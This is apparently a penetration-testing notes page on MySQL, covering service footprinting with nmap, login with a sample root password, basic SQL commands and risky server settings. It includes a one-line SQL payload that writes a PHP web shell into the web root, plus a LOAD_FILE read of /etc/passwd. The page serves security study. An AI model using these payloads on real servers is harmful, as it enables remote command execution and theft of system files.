> For the complete documentation index, see [llms.txt](https://thescriptkid.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thescriptkid.gitbook.io/notes/credential-less-enumeration/my-structured-query-language.md).

# My Structured Query Language

## Footprinting The Service

{% code overflow="wrap" %}

```
sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FpJGvWbKir0LSf81oLeAw%2Fimage.png?alt=media&amp;token=77b1a35e-d1bd-4d89-aeb0-c0a7eb83fefc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F25sxhSaNG9sBhZkyfKh2%2Fimage.png?alt=media&amp;token=593afd9d-733d-4597-bc01-1b18463fdc87" alt=""><figcaption></figcaption></figure>

## **Interaction with the MySQL Server**

{% code overflow="wrap" %}

```
mysql -u root -pP4SSw0rd -h 10.129.14.128
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fd30La5fNldKc0qX4bmks%2Fimage.png?alt=media&amp;token=33f91668-b3af-488d-8f1c-9d2955e56995" alt=""><figcaption></figcaption></figure>

### Commands

| Command                                              | Description                                                                                           |
| ---------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
| `mysql -u <user> -p<password> -h <IP address>`       | Connect to the MySQL server. There should **not** be a space between the '-p' flag, and the password. |
| `show databases;`                                    | Show all databases.                                                                                   |
| `use <database>;`                                    | Select one of the existing databases.                                                                 |
| `show tables;`                                       | Show all available tables in the selected database.                                                   |
| `show columns from <table>;`                         | Show all columns in the selected database.                                                            |
| `select * from <table>;`                             | Show everything in the desired table.                                                                 |
| `select * from <table> where <column> = "<string>";` | Search for needed `string` in the desired table.                                                      |

## Dangerous Settings

| `user`             | Sets which user the MySQL service will run as.                                                               |
| ------------------ | ------------------------------------------------------------------------------------------------------------ |
| `password`         | Sets the password for the MySQL user.                                                                        |
| `admin_address`    | The IP address on which to listen for TCP/IP connections on the administrative network interface.            |
| `debug`            | This variable indicates the current debugging settings                                                       |
| `sql_warnings`     | This variable controls whether single-row INSERT statements produce an information string if warnings occur. |
| `secure_file_priv` | This variable is used to limit the effect of data import and export operations.                              |

`MySQL` default system schemas/databases:

* `mysql` - is the system database that contains tables that store information required by the MySQL server
* `information_schema` - provides access to database metadata
* `performance_schema` - is a feature for monitoring MySQL Server execution at a low level
* `sys` - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema

## Write Local File

{% code overflow="wrap" %}

```
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F0LzhefcQtc7hrBPYjBMo%2Fimage.png?alt=media&amp;token=570a5960-38c3-4a2b-967e-ef6fca489b40" alt=""><figcaption></figcaption></figure>

## File Write Privileges

{% code overflow="wrap" %}

```
show variables like "secure_file_priv";
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F4mwAI2n6jaV9N2Le9Qw6%2Fimage.png?alt=media&amp;token=ecc70ecf-53bb-40a8-b68a-d60536f6ff50" alt=""><figcaption><p>We can see the <code>secure_file_priv</code> variable is empty, which means we can read and write data using MySQL</p></figcaption></figure>

## Read Local File

{% code overflow="wrap" %}

```
select LOAD_FILE("/etc/passwd");
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FA3C3cw4tqITKDFJNR781%2Fimage.png?alt=media&amp;token=9bbd74f8-f071-4d84-b8de-c7d8e6447286" alt=""><figcaption><p>By default a <code>MySQL</code> installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges, we can read files</p></figcaption></figure>
